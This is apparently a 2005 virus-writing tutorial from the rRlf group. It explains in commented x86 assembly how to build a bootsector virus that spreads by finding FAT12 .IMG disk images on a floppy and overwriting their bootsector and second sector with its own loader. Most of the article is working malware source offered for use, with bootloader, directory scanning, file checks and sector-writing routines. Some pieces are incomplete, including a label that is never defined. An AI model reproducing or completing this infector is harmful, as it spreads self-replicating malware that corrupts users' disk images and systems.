*************************************************************
*************************************************************
************ ***********
************ New era of bootsectorviruses #1: ***********
************ FAT12 IMG infection at Disks ***********
************ by Second Part To Hell/[rRlf] ***********
************ ***********
*************************************************************
*************************************************************
Index:
******
0) Intro
1) Theory / Idea
2) Bootloader
3) Root_Directory
4) Find infectable files
5) The Infection
6) Last words
0) Intro
Bootsector viruses were the first form of computerviruses. They were most
widespread from the beginning of computerviruses until December 1995
(according to VirusBulletin). But then, Macroviruses (CAP, ColdApe, ...),
Scriptviruses (Kak, LoveLetter, ...) and finally Win32 viruses (Sircam,
Klez, Mydoom, Netsky, ...) were even more widespread, and the production
of bootsectorviruses decreased to nearly zero. A reason for that could be,
that it's damn hard (if not impossible) writing a bootsectorvirus, which
stays in memory while the OS (Windows) loads. How did the old bootsector
viruses work? When booting from an infected Disk, such a virus first
infects the MBR (Master Boot Record) of the HD and the bootsector of the
first partition. Then it stays in memory, let the OS load processing, and
hooks (most times?) INT 0x21 for checking Disk access. OK, and what the
hell will be the different between the old style of bootsector infectors
and my once? My idea is to infect the Images of Disks/HDs/CD-ROMs. For
that we don't need the INT 0x21, because we use our own File System driver
(in this article here FAT12). For writing our own File System driver it's
of course nessecary to fully understand how the system works. For my first
article about new bootsectorviruses I'm using FAT12, because it's the most
easy of all as far as I know. As FAT12 is just used for DISK, the article
is just about .IMG file infection. IMG files are 1:1 images of Disks. As
you may know, I wanted to infect CD-ROM Bootsectors, but that did not work
with Disks, because ISO or NRI files are at least 2MB as far as I know.
Anyway, let's start with FAT12 IMG bootsector infectors, next time let's
move to CD-ROMs, ok? :D
1) Theory / Idea
The virus we will write is a Bootinfector for IMG files. Well, how should
that work? When A user boots from an infected Disk, the bootloader in the
first sector (bootsector) will load the rest of the virus (here it's just
one more sector). The virus will read the Root_Directory, find .IMG files,
check if they are FAT12 files with the right size, and then infect the
them. Nothing difficult you may think? Haa, let's go on...
2) Bootloader
What shall our bootloader can? Of course, changing the important values,
that the processor can even work with the code. Then? Loading the second
sector of the Disk, which contains our virus, and then run it. There is
one more important thing you have to notice: The FAT12 System Information
(is that the correct name? i don't know) at offset 0x4 of the 1st sector.
If you don't have this informations in your bootsector, the disk won't be
able to save/read/write/create/run/whatever files. Well, everything should
be understandable, now let's move to the source. The source is commented,
so everything else will be explained by comments:
- - - - - - - - - - - - - [ Bootloader - Source ] - - - - - - - - - - - - -
org 0x7c00 ; The Bootsector will be loaded at offset 0x7c00
stfat: ; Start of Bootsector
jmp start ; Jump over FAT12 Table
nop ; NOP, because jmp=3 byte, FAT-Table starts at 0x4
db 0x4D,0x53,0x44,0x4F,0x53,0x35,0x2E,0x30
db 0x00,0x02,0x01,0x01,0x00,0x02,0xE0,0x00 ; This is the FAT Table of an formated Disk.
db 0x40,0x0B,0xF0,0x09,0x00,0x12,0x00,0x02 ; At this point a big thanks to Microsoft :)
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ; And big thanks to Hexeditor!
db 0x00,0x00,0x00,0x29,0x8C,0x22,0x2F,0x7C
db 0x4E,0x4F,0x20,0x4E,0x41,0x4D,0x45,0x20
db 0x20,0x20,0x20,0x46,0x41,0x54,0x31,0x32
db 0x20,0x20,0x20
start:
cli ; No Interrupts
mov ax,0x9000 ; Offset of Stack, which we create now.
mov ss, ax ; As we can't change ss directly, we use ax.
mov sp, 0 ; Stackpointer
sti ; Allow Interrupts
mov [bootdrv], dl ; Save bootdisk
loada:
push ds ; Save DS
mov ax, 0 ; RESET DISK SYSTEM
mov dl, [bootdrv] ; drive (if bit 7 is set both hard disks and floppy disks reset)
int 0x13 ; Interrupt 0x13
pop ds ; Restore DS
jc loada ; If carry, again!
load1: ; Let's read the second sector (virus)
mov ax, 0x1000 ; Data will be saved in memory at ES:BX
mov es, ax ; ES=0x1000
mov bx, 0 ; BX=0
mov ah, 0x2 ; READ SECTOR(S) INTO MEMORY
mov al, 0x1 ; number of sectors to read
mov cx, 2 ; CL=Start at sectornummer (2), CH=Cylinder Number
mov dx, 0 ; Head/Drive number=0
int 0x13 ; Interrupt 0x13
jc load1 ; If carry, again!
mov ax, 0x1000 ; AX=0x1000
mov es, ax ; Extra Segment=0x1000
mov ds, ax ; Data Segment=0x1000
push ax ; AX to Stack
mov ax, 0 ; AX=0
push ax ; AX to Stack. Stack now looks like that: 0x1000 0x0000
retf ; Jump to 32 bit value from Stack: Offset of virus
bootdrv db 0 ; 1 Byte buffer for Bootdrive
ende:
times (512-(ende-stfat)-2) db 0 ; Rest of the Sector sub 2 = 0 (last 2 byte are boot-marks)
dw 0xAA55 ; Bootmarks. If you dont use them, BIOS dont boot from that Disk
- - - - - - - - - - - - - [ Bootloader - Source ] - - - - - - - - - - - - -
This bootloader, started from a Disk, loads the second physical sector of
the disk to the memory at offset 0x1000. The bootloader also creats a
stack at the offset 0x9000. Everything should be clear now I think. A big
'Thank you!' for the bootloader information goes to mastermesh (a hobby-OS
coder). Thanks for your article in LowLevel#1!
3) Root_Directory
The Root_Directory is the first directory of the Disk. Normally (always?),
the Root_Directory starts at the 20th sector (Head=1/Sector=1). Here files
are saved. A file entry contains 0x20 (32) bytes. To understand the 32
byte, let's look at the following table:
* Offset * Length * Name *
***********************************************
* 0x0 * 11 Byte * DIR_Name *
* 0xB * 1 Byte * DIR_Attribute *
* 0xC * 1 Byte * DIR_NTRes *
* 0xD * 1 Byte * DIR_CrtTimeTenth *
* 0xE * 2 Byte * DIR_CrtTime *
* 0x10 * 2 Byte * DIR_CrtDate *
* 0x12 * 2 Byte * DIR_LstAccDate *
* 0x14 * 2 Byte * DIR_FstClusHi *
* 0x16 * 2 Byte * DIR_WrtTime *
* 0x18 * 2 Byte * DIR_WrtDate *
* 0x1A * 2 Byte * DIR_FstClustLo *
* 0x1C * 4 Byte * DIR_FileSize *
***********************************************
DIR_Name:
This value contains the Filename of the entry. I dont speak about long
because we dont need them. If the first byte of the DIR_Name=0x0, then
it's the end of the entries. If the first byte of DIR_Name=0xE5, then
it's a deleted file. If the 3rd byte=0x0, then we also ignore it (some
thing with long filename). Important for us is, that the last 3 bytes
(starts at 0x8) are the fileextansion. The filenames are saved UPPER-
case and WITHOUT a dot ('.') between filename and extansion. There are
some more information about DIR_Name available, but it's totally un-
important for us.
DIR_Attribute:
This is the Attribute Byte of the file, as you can see from the name:
0x01 ... ATTR_READ_ONLY
0x02 ... ATTR_HIDDEN
0x04 ... ATTR_SYSTEM
0x08 ... ATTR_VOLUME_ID
0x10 ... ATTR_DIRECTORY
0x20 ... ATTR_ARCHIVE
We just need to check, if the Byte is 0x10 (ATTR_DIRECTORY). As we can
not infect a directory, we have to leave that entry.
DIR_NTRes, DIR_CrtTimeTenth, DIR_CrtTime, DIR_CrtDate, DIR_LstAccDate,
DIR_FstClusHi, DIR_WrtTime, DIR_WrtDate
100% unimportant and unneccessary to explain!
DIR_FstClustLo
Here we get the number of the first data-sector of the File. But it's
not the real one, we have to add the number of the first datasector
to get the real one.
DIR_FileSize
The Filelength of the File. Nothing more to explain, but important for
the virus.
4) Find infectable files
Now we know all the damn shit theory about it (I dont like learning the
theory, praxis is better), how can we use it? What to do?
First, we have to read the Root_Directory:
- - - - - - - - - - - - - [ Read Root_Directory ] - - - - - - - - - - - - -
mov ax, 0x2000 ; ax=0x2000
mov es, ax ; Data will be read to ES:BX, ES=0x2000
mov ds, ax
xor bx, bx ; BX=0x0
loadk:
mov ah, 0x2 ; ah=2: Read Sectors
mov al, 0x12 ; How many Sectors (18)
mov ch, 0 ; Cylinder 0
mov cl, 1 ; Start at sektor 1
xor dx, dx ; dx=0
inc dh ; Head 1
int 0x13 ; System call
jc loadk ; If carry, again
mov bx, 0x200 ; bx=Offset of 2nd Sector in memory
- - - - - - - - - - - - - [ Read Root_Directory ] - - - - - - - - - - - - -
We have the Root_Directory now at ES:BX - 0x2000:0x200. BX is the pointer
to the Root_Directory. Next step is to check, if any file is an infectable
file:
- - - - - - - - - - - - - [ Check Infectable File ] - - - - - - - - - - - - -
fat12read:
mov ah, [bx] ; ah=First byte of Filename
cmp ah, 0x0 ; Check if zero. If zero, it's the last entry
je endfat12read ; If End, stopp reading
cmp ah, 0xE5 ; Check if the byte is 0xE5. If so, it's a deleted file
je fat12next ; If deleted file, get next entry
mov al, [bx+2] ; al=3rd letter of name
test al, al ; Check if zero
jz fat12next ; If zero, get next entry
mov ax, word [bx+8] ; 9th and 10th Letter to ax
cmp ax, 'IM' ; Check if it's 'IM'
jne fat12next ; If not, no IMG file
mov al, byte [bx+10] ; Move 10th letter to al
cmp al, 'G' ; Check if 10th letter='G'
jne fat12next ; If not, next file
mov ax, word [bx+30] ; Move second (high) word of filesize to ax
test ax, ax ; Check if zero
jnz fat12sizeok ; If not zero, file has at least 128 sectors
mov al, byte [bx+29] ; Move second byte of low word of filesize to ax
cmp al, 4 ; Compair with 4
jl fat12next ; If less than 4, file has not 2 sectors=too small for infection
mov al, byte [bx+11] ; Move attribute byte to al
and al, 0x10 ; ???1 ???? = Directory
test al, al ; Check if zero
jnz fat12next ; If not zero, it's a directory and we ignore it
call INFECTION ; We have a file!!!
fat12next:
mov cx, 0x2000 ; cx=0x2000
mov es, cx ; Data will be read to ES:BX, ES=0x2000
mov ds, cx
add bx, 0x20 ; Next entry
jmp fat12read
- - - - - - - - - - - - - [ Check Infectable File ] - - - - - - - - - - - - -
If the entry was OK, we have an infectable file... nearly. We also have to
check, if it's a FAT12 .IMG file. But this will be in the next chapter,
because we could do it together with modiefying the first sector.
5) The infection
Now we have to read the file, then check if it's a FAT12 Image. If so, we
can modiefy the bootsector (that it loads the virus) and overwriting the
second sector. That's all? Yes, it is :)
- - - - - - - - - - - - [ Check/Modiefy 1st Sector ] - - - - - - - - - - - -
fat12sizeok:
mov ax, word [bx+25] ; normally: 'mov ax, word [bx+26]' but that stupid shit did...
xchg al, ah ; ...not work, I dont know why and I dont want to know why. I spent...
mov ah, byte [bx+27] ; ...hours of testing, but no result. Let's never ever talk again about that lines, ok?
add ax, 32 ; Now we have the real 1st data-sector of the file at the disk
xor cx, cx ; ch will be the number of the Cylinder
; cl will be the number of the Sector
xor dx, dx ; dh will be the number of the Head
call CyHeSe ; Get the Cylinder, Head and Sector
push bx ; Save bx at stack
mov bx, 0x3000 ; ax=0x3000
mov es, bx ; Data will be read to ES:BX, ES=0x3000
mov ds, bx
mov bx, 0 ; BX=0x0
mov ah, 0x2 ; AH=2: Read Sector
mov al, 0x1 ; Wir read 1 Sector
mov dl, 0
int 0x13 ; Interrupt 13
mov ax, word [bx+54] ; For FAT12 it should be 'FA'
cmp ax, 'FA' ; Check if 'FA'
jne fat12next ; If not, get next file
mov ax, word [bx+57] ; For FAT12 it should be '12'
cmp ax, '12' ; Check if '12'
jne fat12next ; If not, get next file
xor di, di ; di=0
mov ax, 0xEB3C ; ax=2 bytes of jmp over fat12
stosw ; Store AX at address ES:DI
mov al, 0x90 ; al = NOP
stosb ; Store AL at address ES:DI
mov ax, 0x1000 ; AX=0x2000
mov ds, ax ; DS=0x2000
mov cx, 63 ; Length of 1st sector data
mov si, data1stsector ; Where the data is
mov di, 0x3E ; The FAT12 at 1st sector in IMG file
rep movsb ; Move CX bytes from DS:SI to ES:DI
; Move 63 bytes from 0x1000:data1stsector to 0x3000:0x3E
pop bx ; Get bx again
push bx ; Save it again
mov ax, 0x2000 ; ax=0x2000
mov es, ax ; Data will be read to ES:BX, ES=0x2000
mov ds, ax
mov ax, word [bx+25] ; normally: 'mov ax, word [bx+26]' but that stupid shit did...
xchg al, ah ; ...not work, I dont know why and I dont want to know why. I spent...
mov ah, byte [bx+27] ; ...hours of testing, but no result. Let's never ever talk again about that lines, ok?
add ax, 32 ; Now we have the real 1st data-sector of the file at the disk
xor cx, cx ; ch will be the number of the Cylinder
; cl will be the number of the Sector
xor dx, dx ; dh will be the number of the Head
call CyHeSe ; Get the Cylinder, Head and Sector
mov ax, 0x3000 ; ax=0x3000
mov es, ax ; Data will be read to ES:BX, ES=0x3000
mov ds, ax
xor bx, bx ; BX=0
mov ah, 0x3 ; AH=3: Write Sector
mov al, 0x1 ; Wir read 1 Sector
mov dl, 0
int 0x13 ; Interrupt 13
mov bx, 0x2000 ; ax=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
pop bx ; Restore bx
jmp fat12ow2sec ; Jmp over data
; jmpoverfat12 db 0xEB,0x3C,0x90 ; Jmp over FAT12 at 0x0 in Sector 1
data1stsector db 0xFA,0xB8,0x00,0x90,0x8E,0xD0,0xBC,0x00,0x00,0xFB ; This is the data after
db 0x88,0x16,0x7C,0x7C,0x1E,0xB8,0x00,0x00,0x8A,0x16 ; the FAT12. Starts at
db 0x7C,0x7C,0xCD,0x13,0x1F,0x72,0xF3,0xB8,0x00,0x10 ; offset 0x3E (62) and
db 0x8E,0xC0,0xBB,0x00,0x00,0xB4,0x02,0xB0,0x01,0xB9 ; has 63 byte.
db 0x02,0x00,0xBA,0x00,0x00,0xCD,0x13,0x72,0xEA,0xB8
db 0x00,0x10,0x8E,0xC0,0x8E,0xD8,0x50,0xB8,0x00,0x00
db 0x50,0xCB,0x00
- - - - - - - - - - - - [ Check/Modiefy 1st Sector ] - - - - - - - - - - - -
Everything understandable? You can see there is a call to a function named
'CyHeSe'. I will explain: When using INT 0x13 - AH=0x2/3 (READING/WRITING)
you have to give exact infors about which Sector, which Head and which
Cylinder. But if we just have the Sectornumber, we have to calculate the
CHS by ourself. Here is the function:
- - - - - - - - - - - - - - - - - [ CHS ] - - - - - - - - - - - - - - - - -
CyHeSe:
cmp ax, 36 ; 36 Sectors = 1 Cylinder
jge BefCyHeSe ; If greater or equal, jmp to BefCyHeSe
cmp ax, 18 ; 18 Sectors = Head1
jl SecCheck ; If less, Head=0
mov dh, 1 ; Head++
sub ax, 18 ; Sectors-=18
SecCheck:
mov cl, al ; cl=Rest Sector Numbers
ret
- - - - - - - - - - - - - - - - - [ CHS ] - - - - - - - - - - - - - - - - -
Now, in the end, let's overwrite the second sector of the FAT12 Image file
and we have finished our work:
- - - - - - - - - - - - - [ Overwrite 2nd Sector ] - - - - - - - - - - - - -
fat12ow2sec:
mov ax, word [bx+25] ; normally: 'mov ax, word [bx+26]' but that stupid shit did...
xchg al, ah ; ...not work, I dont know why and I dont want to know why. I spent
mov ah, byte [bx+27] ; hours of testing, but no result. Let's never ever talk again about that lines, ok?
add ax, 32+1 ; Now we have the real 2nd data-sector of the file at the disk
xor cx, cx ; ch will be the number of the Cylinder
; cl will be the number of the Sector
xor dx, dx ; dh will be the number of the Head
call CyHeSe ; Get the Cylinder, Head and Sector
push bx ; Save bx at stack, because it will be changed
mov bx, 0x1000 ; bx=0x1000
mov es, bx ; Data will be read to ES:BX, ES=0x1000
mov ds, bx
mov bx, 0 ; BX=0x0
mov ah, 0x3 ; AH=3: Write sector(s)
mov al, 0x1 ; We write 1 sector
mov dl, 0
int 0x13 ; Interrupt 13
mov bx, 0x2000 ; bx=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
pop bx ; Restore bx
- - - - - - - - - - - - - [ Overwrite 2nd Sector ] - - - - - - - - - - - - -
Finished!!! :)
6) Last words
Woow, it's 4.32 am, and I'm still awake :) This article is the explanation
of some main points of my new strange idea: 'New era of bootsectorviruses'
This is, as far as I know, a really new field (infecting the bootsector of
image files), and there is much more to do. Next may be ISO infection at
FAT32 partition. The first CD-ROM Bootsectorvirus - doesn't it also sound
like a mystery for you? Maybe we may also support NTFS or EXT2FS or other
file systems? Who knows? I just know that this technique, even it's not
a high-speed spreading technique, is cool for discovering and learning,
and hey, do you know what you can do with the HD, if you are alone in the
memory? EVERYTHING!!! :)
- - - - - - - - - - - - - - -
Second Part To Hell/[rRlf]
www.spth.de.vu
spth@priest.com
written from Dec 2004 - Jan 2005
Austria
- - - - - - - - - - - - - - -